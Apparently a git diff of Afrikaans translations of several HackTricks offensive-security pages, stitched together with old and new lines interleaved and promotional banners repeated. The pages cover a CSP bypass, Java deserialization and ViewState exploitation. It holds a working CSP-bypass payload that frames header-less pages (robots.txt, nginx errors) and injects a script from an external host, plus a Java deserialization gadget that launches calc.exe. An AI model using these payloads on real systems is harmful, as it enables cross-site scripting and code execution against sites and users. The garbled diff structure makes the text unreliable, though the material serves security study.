<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
'n Konfigurasie soos:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Probeer om enige funksies wat kode uitvoer as 'n string verbied. Byvoorbeeld: `eval, setTimeout, setInterval` sal almal geblokkeer word as gevolg van die instelling `unsafe-eval`.
Prohibeer die gebruik van enige funksies wat kode uitvoer wat as 'n string oorgedra word. Byvoorbeeld: `eval, setTimeout, setInterval` sal almal geblokkeer word weens die instelling `unsafe-eval`
Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en veral JS.
Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en, veral, JS
### Via Tekste & Beelde
### Via Tekst & Beelde
Dit is waargeneem dat moderne webblaaier beelde en tekste omskakel na HTML om hul vertoning te verbeter (bv. agtergronde instel, sentrering, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, geopen word deur middel van 'n `iframe`, word dit as HTML weergegee. Dit is belangrik om op te let dat hierdie bladsye dikwels nie CSP-koppe bevat nie en moontlik nie X-Frame-Options insluit nie, wat die uitvoering van willekeurige JavaScript vanaf hulle moontlik maak:
Dit word waargeneem dat moderne blaaiers beelde en teks in HTML omskakel om hul vertoning te verbeter (bv. agtergronde instel, sentreer, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, via 'n `iframe` geopen word, word dit as HTML gerender. Opmerklik is dat hierdie bladsye dikwels CSP-koptekste ontbreek en mag nie X-Frame-Options insluit nie, wat die uitvoering van arbitrêre JavaScript daaruit moontlik maak:
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
@ -34,7 +35,7 @@ window.frames[0].document.head.appendChild(script);
```
### Via Foute
Op dieselfde manier, foutboodskappe soos tekslêers of beelde, kom gewoonlik sonder CSP-koppe en kan X-Frame-Options weglaat. Foute kan geïnduseer word om binne 'n iframe te laai, wat die volgende aksies moontlik maak:
Net so, foutresponsies, soos tekslêers of beelde, kom tipies sonder CSP-koptekste en mag X-Frame-Options weglat. Foute kan veroorsaak word om binne 'n iframe te laai, wat die volgende aksies moontlik maak:
```javascript
// Inducing an nginx error
frame=document.createElement("iframe");
@ -54,7 +55,7 @@ document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
```
Na die aktivering van enige van die genoemde scenario's, is JavaScript-uitvoering binne die iframe moontlik as volg:
Na die aktivering van enige van die genoemde scenario's, is JavaScript-uitvoering binne die iframe haalbaar soos volg:
```javascript
script=document.createElement('script');
script.src='//example.com/csp.js';
@ -65,16 +66,17 @@ window.frames[0].document.head.appendChild(script);
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SS-Lekke
# SS-Leaks
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Kyk na die pos [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)**
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
In hierdie POS sal 'n voorbeeld met behulp van `java.io.Serializable` verduidelik word.
In hierdie POST gaan 'n voorbeeld verduidelik word wat `java.io.Serializable` gebruik.
# Serializable
Die Java `Serializable`-koppelvlak (`java.io.Serializable`) is 'n merkkoppelvlak wat jou klasse moet implementeer as dit **geserializeer** en **gedeserializeer** moet word. Java-objek-serialisering (skryf) word gedoen met die [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) en deserialisering (lees) word gedoen met die [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Die Java `Serializable`-koppelvlak (`java.io.Serializable` is 'n merk-koppelvlak wat jou klasse moet implementeer as hulle **geserialiseer** en **gedeserialiseer** moet word. Java objekserialisering (skryf) word gedoen met die [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) en deserialisering (lees) word gedoen met die [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **serialiseerbaar** is. Hierdie klas **skryf die readObject-funksie oor**, sodat wanneer **enige objek** van hierdie **klas** **gedeserializeer** word, sal hierdie **funksie** uitgevoer word.\
In die voorbeeld roep die **readObject-funksie** van die Persoon-klas die funksie `eat()` van sy troeteldier aan en die funksie `eat()` van 'n Hond (om een of ander rede) roep 'n **calc.exe** aan. **Ons gaan sien hoe om 'n Persoon-objek te serialiseer en deserialiseer om hierdie sakrekenaar uit te voer:**
Kom ons kyk na 'n voorbeeld met 'n **klas Persoon** wat **geserialiseer** kan word. Hierdie klas **oorskryf die readObject** funksie, so wanneer **enige objek** van hierdie **klas** **gedeserialiseer** word, gaan hierdie **funksie** **uitgevoer** word.\
In die voorbeeld, die **readObject funksie** van die klas Persoon roep die funksie `eat()` van sy troeteldier aan en die funksie `eat()` van 'n Hond (om een of ander rede) roep 'n **calc.exe** aan. **Ons gaan kyk hoe om 'n Persoon objek te serialiseer en te deserialiseer om hierdie sakrekenaar uit te voer:**
**Die volgende voorbeeld is vanaf [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
**Die volgende voorbeeld is van [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
```java
import java.io.Serializable;
import java.io.*;
@ -95,19 +96,20 @@ payloadTest("test.ser");
```
## Gevolgtrekking
Soos jy kan sien in hierdie baie basiese voorbeeld, kom die "kwesbaarheid" hier voor omdat die **readObject**-funksie **ander kwesbare funksies aanroep**.
Soos jy in hierdie baie basiese voorbeeld kan sien, verskyn die "kwesbaarheid" hier omdat die **readObject** funksie **ander kwesbare funksies aanroep**.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>
**Kyk na die fantastiese pos van** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Kyk na die wonderlike pos van** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,34 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kyk na die plasings:
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
